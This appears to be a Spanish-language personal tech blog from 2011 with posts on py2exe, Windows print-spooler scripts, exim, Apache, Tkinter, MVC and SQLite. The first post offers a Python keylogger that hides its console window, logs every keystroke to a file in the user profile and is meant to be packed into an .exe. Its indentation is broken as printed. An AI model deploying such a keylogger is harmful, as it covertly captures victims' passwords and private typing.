lunes, 28 de noviembre de 2011

Keylogger -> Python

La curiosidad mató al gato. Ôò -> Menos mal que no soy un felino, sino seguro estoy muerto.
# Sin más preámbulos, manos a la obra. (Pobre gato)

Herramientas a utilizar:
  • py2exe -> Aquí un pequeño tutorial más información.
  • win32   -> De aquí descarguen el que le corresponda al interprete que tienen instalado.
  • python  -> Open your eyes .
Una vez instaladas las herramientas procedemos a escribir en un archivo de texto plano el siguiente código.

# Nombre del archivo: keylogger.py -> ¬ ¬' Algo obvio.

#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# keylogger

import win32api, os
import win32console, win32gui
import sys

console = win32console.GetConsoleWindow()
win32gui.ShowWindow(console, 0)
try:
    filelog = open(os.environ['USERPROFILE']+"\\log.txt", "w")
    while True:
  for i in range(8, 256):
            key = win32api.GetAsyncKeyState(i)  
  if key == -32767:
  if i != 9 or i != 13 or i != 123:
filelog.write(chr(i))
                if i == 9:
                    filelog.write(" (press tab) ")
                if i == 13:
                    filelog.write("\n")
if i == 123:
                    # Al presionar F12 termina el programa.
filelog.write("-> Se cierra el archivo.")
filelog.close()
sys.exit(0)
except IOError:
  print "Error al intentar abrir el archivo."
# Fin del código.

Ahora sólo nos queda pasarlo a punto exe y ejecutarlo.
;)



viernes, 25 de noviembre de 2011

Festival de conocimientos. (Invitación)

Este post tiene dos objetivo:

  • Invitarlos a una jornada en donde se comparte el conocimiento con total libertad.
  • Mostrarles el trabajo en Gimp que hice. (Gimp es la alternativa libre de Photoshop)




Posdata: Pronto se escribirán algunos tips para esta herramienta.

martes, 15 de noviembre de 2011

Imprimir comando top

Hola,

Seguramente alguna vez quisimos utilizar datos que nos devuelve el comando "top"

El problema es que cuando se ejecuta top se actualiza cada segundo y no deja tomar una impresión de los datos para luego trabajar con ellos.

Una forma fácil de hacerlo es agregando los parámetros -n 1. Donde le decimos que solo haga 1 ciclo de top y a esos datos los vamos a enviar a un archivo de texto plano:

# top -n 1 >> /root/logs/top.log

Es simple, solo un comando, pero me sirvió para implementar en diferentes scripts en bash.

Espero que a alguien le sirva.

Saludos,

Emmanuel Arreguez
www.ircdshells.com.ar

py2exe -> Breve tutorial.

py2exe es un módulo para Python que nos permite crear a partir de un archivo.py un archivo.exe.
¿Cuál es la ventaja de utilizar esta herramienta? - La principal ventaja que veo en su utilización está en que nuestros programas sean portables, esto quiere decir que no necesitamos tener instalado el interprete de Python en cada máquina donde lancemos a correr nuestras aplicaciones.

¿Qué necesitamos entonces?
Lo principal es descargar py2exe_download desde el enlace. Descarguen la versión acorde al interprete de Python que tienen instalado y a la arquitectura de su computadora. (Claro, también deben tener instalado Python).



Bueno, ahora vamos a suponer que tenemos un programa escrito en Python.
Acá dejo un ejemplo. (Se trata de un proyecto que queremos llevar acabo con unos amigos. Su nombre es Recurrent Solution 4 Windows .
En el enlace pueden encontrar información acerca del proyecto. Aún no hay mucha documentación, pero vamos a tratar de colgar constantemente info.

# admin_on.py (Así se llamará el archivo que contendrá el código.)
# Inicio del código.


#!/usr/bin/env python
#-*- encoding:utf-8 -*-

# By: Debianitram -> Miranda Martín.
# @ : debianitram(en)gmail.com

import os, sys

### Constantes.
# Lista de dominios.
ldomain = ('mineria_cat', 'catastrom', os.environ['COMPUTERNAME'])

# Formato del diccionario.
# {'clave' = 'acotación del comando' : valor = lista('commando', 'descripción')}

command = { 'cmd' :
("runas %s /user:%s@%s cmd", "Abrir un consola"),
'on_off_printer' :
("runas %s /user:%s@%s \"python on_offSpool.py\"", u"Destrancar la cola de impresión"),
'exit' :
("sys.exit()", u"Terminar este programa: admin_on")
}

# Presentación.
os.system('cls')
print "Bienvenido %s" % os.environ['USERNAME']
print u"Ud. está conectado en el equipo %s" % ldomain[2]
print u"Acontinuación se le presentará una lista de posibles soluciones."

### Lista con las posibles soluciones.
# Se debe seleccionar una de todas las soluciones
print "#################################################################\n"
# Campos de la tabla.
print "%-15s |-| %10s" % ("COMANDO", "DESCRIPCION")
print "-" * 15 + "     " + "-" * 15
# Creamos la tabla -> comando, descripción.
for i in command.keys():
    print "%-15s ==> %10s" % (i, command[i][1])

print "\n"
result = raw_input("Seleccione una solucion de la lista: ")

# Escape del programa.
if result == "exit":
  sys.exit()

# Tipo de usuario a ejecutar el comando.
print u"\nEspecifíque con que usuario@dominio desea ejecutar la posible solución."
user = raw_input("Usuario: ")
domain = input("Dominios [0] -> %s, [1] -> %s, [2] -> %s: " % tuple([ld for ld in ldomain]))

# Ejecutando las ordenes.
os.system(command[result][0] % ("/profile", user, ldomain[domain]))

# Fin del código.


Ya contamos con el código al cual queremos pasar a .exe, osea vamos a pasar nuestro admin_on.py a admin_on.exe.

Ahora lo que necesitamos es crear un segundo archivo que haga el proceso de transformación. .py -> .exe
Con el siguiente código vamos a lograr este proceso:

# generate.py (Así se llamará el archivo encargado de la generación)
# Inicio del código.

from distutils.core import setup
import py2exe
setup(console=['admin_on.py'])

El argumento console de la función setup indica que el programa corre sobre una consola, en el caso de que se trate de una aplicación de ventanas, ejemplo (Tkinter, wxPython, Qt, ...), se debe reemplazar console por window. (Luego veremos un ejemplo).


Ahora sólo queda ubicarnos donde tenemos los archivos, -Por cierto, los archivos deben encontrarse en el mismo directorio-, y ejecutar el siguiente comando.
Ejemplo:
C:\Documents and Settings\debianitram\newProjects>python generate.py py2exe


Este proceso durará algunos segundos dependiendo de la magnitud del programa...
Su resultado son dos carpetas, una llamada dist y la otra build.
dist -> Contiene el programa los ejecutables.
build -> Contiene las "pilas" librerías que python a utilizado.

Ambas carpetas no se deben separar para el buen funcionamiento del programa.
De ese modo tendremos un programa portable con el lenguaje Python.

viernes, 11 de noviembre de 2011

Cola de impresión en Windows -> Python.

Acaba de pasar el día 11/11/11 con los 11:11:11 en horas. Al final no pasó nada, pero espero que sea un cambio de conciencia en el ser humano. "Cuando tenemos la soga al cuello, es muchas veces cuando intentamos de cambiar algo"
Bueno, la verdad que este post no trata sobre predicciones astrales ni tampoco sobre la metafísica.

Hace un tiempo que en donde trabajo tenemos un problema recurrente con las impresoras. Este problema se da en el estancamiento de la cola de impresión. 

Hice un script para automatizar una serie de pasos que tenemos que hacer cada vez que surge este problema.
Por el momento voy a poner el código de la solución, pero a futuro voy hacer un portable con py2exe para que no necesiten tener instalado python en cada puesto.


# Aquí el script: on_offSpool.py (Así lo llamé al archivo, pueden llamarlo como deseen.)
#!/usr/bin/env python
#-*- encoding:utf-8 -*-

# By: Debianitram -> Miranda Martín.
# @ : debianitram(@)gmail.com

import os

# Directorio spool
SPOOL = os.environ['SYSTEMROOT'] + "/System32/spool/"
# Directorio PRINTERS. 
SPOOLPRINTERS = SPOOL + "PRINTERS"

# Comandos a utilizar.
on_spool  = "net start spooler"
off_spool = "net stop spooler"

# Inicio del programa.
# Borramos la pantalla.
os.system('cls')
# Nombre del Usuario
print "##################################"
print "Usuario: " + os.environ['USERNAME']
# Nombre del PC.
print "Nombre del equipo: " + os.environ['COMPUTERNAME']
print "##################################\n"

# Comienzan los procesos.
print "Se inician los procesos ..." 
print u"* Cola de impresión -> Stop... "
os.system(off_spool)

# Se eliminan los ficheros en spool/PRINTERS .
if os.path.exists(SPOOLPRINTERS):
# Cambiamos de directorio.
os.chdir(SPOOLPRINTERS)
# listamos el directorio.
resultList = os.listdir(os.getcwd())
if len(resultList) > 0:
  # Eliminamos los archivos.
    for nameFile in resultList:
print "Eliminando el archivo: " + nameFile
        os.remove(nameFile)
  print "* Archivos eliminados ... "
print u"* Cola de impresión -> Start... "
os.system(on_spool)

# Fin del script.

Nota: Se debe ejecutar con usuario que tenga privilegios de "Administrador".
Espero que les sea de utilidad.
Un abrazo ...

martes, 18 de octubre de 2011

Cambiar IP de SMTP tras bloqueo en spamhaus

Hola,

Alguna vez les puede pasar que la ip caiga en los filtros de spam, como ser spamhaus y otros.

Si bien, estas páginas tienen plataformas para remover estos bloqueos, a veces el remover una ip de las bases de datos puede tardar 24 horas o más, el tema es que no podemos tener mas de 24 horas el servicio de email off.

Una solución temporal sería cambiar la ip que resuelve el exim de nuestro servidor, y hacer salir los correos desde otra ip. (esto solo funciona si en el servidor tenemos al menos 2 o más ips).

Como saber que nuestra ip está baneada:

Los emails que enviamos desde nuestro servidor hacia servidores por ejemplo de hotmail, nos rebotan con el siguiente mensaje:

Asunto: Mail delivery failed: returning message to sender

Mensaje:

This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: email SMTP error from remote mail server after MAIL FROM: SIZE=2803: host mx2.hotmail.com [65.54.188.72]: 550 OU-001 (BAY0-MC1-F1) Unfortunately, messages from IP weren't sent. Please contact your Internet service provider since part of their network is on our block list. You can also refer your provider to http://mail.live.com/mail/troubleshooting.aspx#errors. 

Si nos vamos al link: http://mail.live.com/mail/troubleshooting.aspx#errors 
Y buscamos el error: 550 OU-001 

Nos encontramos con este mensaje: Correo rechazado por Windows Live Hotmail en virtud de sus directivas. 

Si no eres administrador de correo o red, ponte en contacto con tu proveedor de acceso a correo o Internet a fin de obtener ayuda. Para obtener más información acerca de este bloqueo y para solicitar su eliminación, ve a: http://www.spamhaus.org (sólo en inglés). 

Y nos damos con la página: http://www.spamhaus.org Para saber si nuestra ip esta en la lista negra hay q ingresar la misma en: 

http://www.spamhaus.org/lookup.lasso 

Si llegase a estar en la blocklist, se puede solicitar que remuevan el bloqueo de la ip, el cual tarda más de 24 horas. 

Entonces que hacemos? 

Solución temporal hasta que remuevan la ip: Cambiar la IP de envio (salida) en /etc/exim.conf 
Antes hace un copia de seguridad del exim.conf 

Buscar Línea: interface en el exim.conf 

remote_smtp: driver = smtp  
interface = ${if exists {/etc/mailips}{${lookup{$sender_address_domain}lsearch*{/etc/mailips}{$value}{}}}{}} 
helo_data = ${if exists {/etc/mailhelo}{${lookup{$sender_address_domain}lsearch*{/etc/mailhelo}{$value}{$primary_host$ 

Sustituir por: 

remote_smtp: driver = smtp  
interface = 204.xxx.xxx.xxx <- aqui alguna de sus ips. 
helo_data = ${if exists {/etc/mailhelo}{${lookup{$sender_address_domain}lsearch*{/etc/mailhelo}{$value}{$primary_host$ 

Reinicie exim: service exim restart 

Al otro día chequeamos en la web de spamhaus si la ip fue removida, en caso de estarlo, volvemos el exim a la config anterior. 

Saludos, 

Emmanuel Arreguez 
Emmanuel_Ar 
IRCDShells.com.ar

sábado, 24 de septiembre de 2011

Version de Apache 2.2.17 Vulnerable a ataque dos.

Hola,

El Apache 2.2.17 tiene una vulnerabilidad en esa versión.

Tipo de vulnerabilidad: load average alto, posible cuelgue del sistema por exceso de uso del cpu provocando un load average de mas de 180.

Solución: Actualizar apache a la versión 2.2.20 o 2.2.21

Una solución temporal hasta que se actualice la versión:
Hacer un script que se ejecute en un bucle infinito:

#!/bin/bash

while [ 1 ]; do
proc=$(uptime | cut -d'l' -f2 | awk '{print $3}' | cut -d. -f1)
if [ $proc -ge 10 ]; then
killall -9 httpd
sleep 120s
/etc/init.d/httpd start
echo "load alto" | mail -s load-alto-reiniciado tu@email.com
fi
sleep 30s
done

Lo que hace el script es detectar cuando la carga del server llega a más de 10, apaga el apache y nos envía un email.

Saludos,

Emmanuel Arreguez
Emmanuel_Ar
IRCDShells.com.ar

martes, 16 de agosto de 2011

Apuntes: Patrón Singleton en Tkinter.

Esta vez pretendo dejarles una pequeña solución (algo rebuscada), para implementar el patrón de diseño singleton a las ventanas que creamos en Tkinter.

Para más información acerca del patrón de diseño singleton. Click aquí -> Wikipedia

# Código de mi solución.

from Tkinter import *
class ventana( Toplevel ):
    _instance = None
    def __init__(self):
        if ventana._instance is None:
            ventana._instance = ventana
            Toplevel.__init__(self)
            self.protocol("WM_DELETE_WINDOW", self.initSingleton)
            # más código para inicializar al objeto ventana.

    def initSingleton(self):
        self.destroy()
        ventana._instance = None

# fin de la clase ventana.

def callback():
    a = ventana()

master = Tk()
fr  = Frame(master)
bt = Button(fr, text="Presioname", command=callback)
bt.pack()
fr.pack()
master.mainloop()
           

Tkinter también es compatible con un mecanismo llamado controladores de protocolo. Aquí, el término protocolo se refiere a la interacción entre la aplicación y el gestor de ventanas. El protocolo más utilizado es el llamado WM_DELETE_WINDOW, y se utiliza para definir lo que sucede cuando el usuario cierra explícitamente una ventana con el gestor de ventanas.

widget.protocol ("WM_DELETE_WINDOW", handler)

En nuestro ejemplo de Singleton, al presionar la cruz de nuestra ventana ésta se destruye y el atributo _instance de la clase ventana se pone nuevamente a None.
Espero que se entienda y que les sea útil.

martes, 9 de agosto de 2011

Apuntes: Patrón MVC.

M: Modelo.
V: Vista.
C: Controlador.

Modelo: Datos y reglas de negocio.
Vista: Interfaces gráficas. (Plantillas las cuales son encargadas de mostrar la información almacenada en el Modelo)
Controlador: Gestiona las entradas del usuario, transporta peticiones al modelo y regresa a la vista las respuestas que el modelo le hace. (Un tramitel, cadete de mensajería. Así lo veo Ôò)

Voy hacer una analogía con una ferretería. (Espero que se entienda, y no confunda a nadie; al menos así lo interpreté yo)

ActoresHistoria = {'Cliente' : 'Usuario' ;
                              'Empleado' : 'Controlador' ;
                              'Depósito' : 'Modelo';
                              'Comunicación (Mensaje)' : 'Vista'}

class sistemaFerreteria:

El clinte llega a la ferretería a comprar unos tornillos para un trabajo que está realizando, al entrar al negocio ve al empleado sentado detrás del mostrador. Se acerca a él y de antemano se da cuenta que la única forma conocida para solicitar lo que está buscando se hace através de la comunicación. Entonces inicia la comunicación:

- Evento de Entradas -
Cliente: ¡Hola, buenos días!
Empleado: ¡Buenos días Joven! ( Imaginen al cliente un tipo imberbe, de unos 25 años )
Cliente: Estoy buscando 12 tornillos con estás medidas. ( El joven cliente le da las medidas )
Empleado: Aguardeme un segundo, voy a consultar al depósito si nos queda esa cantidad y ese tipo de tornillos.

- Petición -
El empleado se diríge al depósito y le pide a Pepe Lui - quien trabaja en ese área -  que le busque y entregue los tornillos que el cliente le ha solicitado. Pepe Lui siempre predispuesto inicia la búsqueda. Al encontrar los tornillos, Pepe Lui hace entrega de los mismos al empleado del mostrador. (Por cierto, al empleado del mostrador lo llaman Papa Chino).

- Actualización -
Papa Chino -( el empleado del mostrador Ôo`)- le lleva al cliente lo que él le solicitó.

- Evento Salida-
El cliente recibe los tornillos y contento se dirige a terminar su trabajo.

- Fin - óÒ

# Notas:
- El modelo puede tener varias vista, cada una con su correspondiente controlador -
Imaginemos que la ferretería es demasiado grande, y que dentro del depósito hay diferentes sectores y diferentes empleados para cada sector.
También imaginemos que hay más de un empleado en el mostrador.

- Responasibilidad de los elementos del patrón. -

El modelo es responsable de:
* Acceder a la capa de almacenamiento de datos.
* Definir las reglas de negocio.

El controlador es responsable de:
* Recibir los eventos de entrada (Click, un cambio en el campo de texto, etc...)
* Contener reglas de gestión de eventos. Por ejemplo:  Si se produce el evento "X", entonces realizar la acción "W". Estás acciones pueden suponer una petición al modelo o una actualización a las vistas. Cómo así también mostrar un mensaje de error, etc...

Las vistas son responsables de:
* Recibir datos del modelo y mostrarlo al usuario.
* Tener un registro de su controlador asociado.



¬ô debianitram

lunes, 8 de agosto de 2011

ttk.Notebook

Aquí vengo con una pequeña solución para Notebook del módulo ttk.

vruno.interfazRegistroUno -> Tkinter.Frame()
vrdos.interfazRegistroDos -> Tkinter.Frame()
interfazRegistroUno & interfazRegistroDos son clases que heredan de Frame.

# Código.
from Tkinter import *
import ttk
import vruno
import vrdos

master = Tk()
nt = ttk.Notebook(master)
frame1 = Frame(nt)
frame2 = Frame(nt)
nt.add(frame1, text="Registro Uno")
nt.add(frame2, text="Registro Dos")
nt.pack()
registroUno = vruno.interfazRegistroUno(frame1)
registroDos = vrdos.interfazRegistroDos(frame2)


Ejemplo del código interfazRegistroUno:

From Tkinter import *
class interfazRegistroUno(Frame):
    def __init__(self, parent):
        Frame.__init__(self, parent)
        self._config()
        self.initUI()
        # ... más código...
    def initUI(self):
        # Aquí se crean los widget: Label, Entry, OptionMenu, etc...
    def _config(self):
        # Aquí se configuran los widget. ;)

martes, 2 de agosto de 2011

Sqlite (Apuntes)

Vagamente desde Wikipedia : SQLite es un sistema de gestión de bases de datos relacional compatible con ACID, contenida en una relativamente pequeña (~275 kiB) biblioteca en C. SQLite es un proyecto de dominio público creado por D. Richard Hipp.

Es un simple apunte para luego trabajar junto a Python.

## Creando Tablas:
# Sentencia: create table [nombre de la tabla] ([nombre_campo1] [tipo_campo1] [opciones], [nombre_campo2] [tipo_campo2] [opciones] , ... , [nombre_campoN] [tipo_campoN] [opciones]);
# Ejem: create table User ( id integer(3) primary key autoincrement, nombre varchar(15) not null, grupo varchar(15) not null);


## Eliminando una tabla.
# Sentencia: drop table [nombre_tabla];
# Ejem: dropp table User;


## Cargando filas de datos.
# Sentencia: insert into [nombre_tabla](campos) values('valor campo1', 'valor campo2', ... , 'valor campoN');
# Ejem: insert into User(nombre, grupo) values('emmanuel_ar', 'root');
#         : insert into User(nombre, grupo) values('debianitram', 'admin');
#         : insert into User(nombre, grupo) values('guest', 'guest');

## Modificando Datos.
# Sentencia: update [nombre_tabla] set campoX = 'dato nuevo' where campoX = 'dato viejo';
# Ejem: update User set grupo = 'admin' where grupo ='root';

## Eliminar Registro.
# Sentencia: delete from [nombre_tabla] where campo='valor';
# Ejem: delete from User where id = '3';

## Buscando Datos.
# Sentencia simple: select * from [nombre_tabla];
# Ejem: select * from User;

Nota: El asterisco es un comodín, expresa "todo los campos".

## Buscar Ordenando los resultados por criterios.
# Sentencia: select [campo o comodín] from [nombre_tabla] order by [campoN] [opción];
# Ejem: select * from Datos order by nombre ASC;

Nota: Las opciones que se pueden utilizar son ASC, DESC.
ASC: ASCENDENTE.
DESC: DESCENDENTE.

## Busqueda por valores max, min, promedios o contar.
# Sentencia: select [expr] (tabla o comodín) from [tabla];
# Ejem: select max(id) from User;
#         : select count(*) from User;
#         : select sum(id) from User;
#         : select min(id) from User;


## Otro tipo de consultas: limit, operadores condicionales, etc.
# Sentencia: select [campoN] from [nombre_tabla] where [campoN] = '[condición]' limit x
Nota: Donde x es el número de registros a mostrar por el resultado de la consulta.
# Ejem: select * from User where grupo = 'admin' limit 2;

Nota: Se pueden utilizar los siguientes operadores con where: !=, =, >, <, <=, >=.


## Consulta por aproximación de texto.
# Sentencia: select [campoN o comodín] from [nombre tabla] where [campoN] like 'X%';
# Ejem: select nombre from User where nombre like'd%';

Nota: X indica con que letra debe de coincidir. % indica la posibilidad de más letras anteriores o posteriores según se coloque.

jueves, 19 de mayo de 2011

Básico, pero funcional.

Hace unas semanas que estoy con la puesta en marcha de un serivdor proxys, e hice un script para automatizar algunas tareas.

Espero que les sirva, lo utilicen y lo modifiquen a gusto y antojo.
Un saludo!

###############################

#!/bin/bash
# by: debianitram Ôò

clear
####
declare -a interfaces
declare -a ips
####
#### Recolectando información. ####

# DNS.
dns=$(cat /etc/resolv.conf | grep nameserver)

# INTERFACES
for i in $(seq 0 1)
do
interfaces[$i]=$(ifconfig | awk {'print $1'} | grep eth$i)
done

for a in $(seq ${#interfaces[*]})
do
    let b=$a-1
    ips[$b]=$(ifconfig ${interfaces[$b]} | awk {'print $2'} | grep inet:)
done

### Resultados.
echo "###############"
echo "DNS en prxser"
echo $dns
echo "###############"
echo " "
echo "Interfaz : ip"
for c in $(seq ${#interfaces[*]})
do
    let d=$c-1
    echo -n ${interfaces[$d]}
    echo " ip: " ${ips[$d]:5}
done
echo " "
echo " "
echo "#########################################"
echo "Configuración de /etc/network/interfaces"
echo "#########################################"
echo " "
cat /etc/network/interfaces

# end

miércoles, 30 de marzo de 2011

El ssh tarda en conectarse?

Hola,

Puede que alguna vez les pase que al intentarse conectar a ssh luego de poner el pass les demore en conectar.

Solución rapida.

Desactiva la resolución DNS en el servidor SSH:

Agregar lo siguiente en el archivo /etc/ssh/sshd_config:

UseDNS no

Luego reiniciar el ssh:

/etc/init.d/sshd restart

Saludos,

Emmanuel Arreguez

miércoles, 2 de febrero de 2011

Libro de programación para niños. (Python)

Navegando encontré este libro llamado "Doma de serpientes para niños". Trata de explicar las bases de la programación para el entendimiento de niños de 8 años en adelante. (Buena alternativa para grandes también, y un buen regalo para navidades o reyes magos)

Aquí les dejo en enlace para que los puedan descargar.

"Doma de serpientes para niño"

Introducción del sitio.
"Snake Wrangling for Kids" es un libro electrónico para niños de 8 o más años que quieran aprender a programar. Cubre lo básico de la programación utilizando el lenguaje de programación Python 3 como base para aprender los conceptos.

Un saludo!

domingo, 16 de enero de 2011

checking for X... configure: error: Can't find X includes. Please check your installation and add the correct paths!

Error:

checking for X... configure: error: Can't find X includes. Please check your installation and add the correct paths!

Solucion: instalar el siguiente paquete:

Mandriva:
# urpmi libxorg-x11-devel

Saludos,

Emmanuel Arreguez
www.ircdshells.com.ar

checking how to run the C++ preprocessor... /lib/cpp

Hola,

Si tratando de compilar algun programa en linux les da el siguiente error:

checking how to run the C++ preprocessor... /lib/cpp

Es porque les falta el g++

Para instalarlo:

Debian - Ubuntu:
# apt-get install g++

Mandriva:
# urpmi gcc-c++

Saludos,

Emmanuel Arreguez
www.ircdshells.com.ar

configure: error: no acceptable C compiler found in $PATH

Hola,

Si alguna vez tratando de compilar algo les sale el siguiente mensaje:

configure: error: no acceptable C compiler found in $PATH

Es porque les falta instalar el gcc. La forma de instalar va a depender del sistema operativo que utilicen:

Debian - Ubuntu:

# apt-get install gcc

Mandriva:
# urpmi gcc

Saludos,

Emmanuel
www.ircdshells.com.ar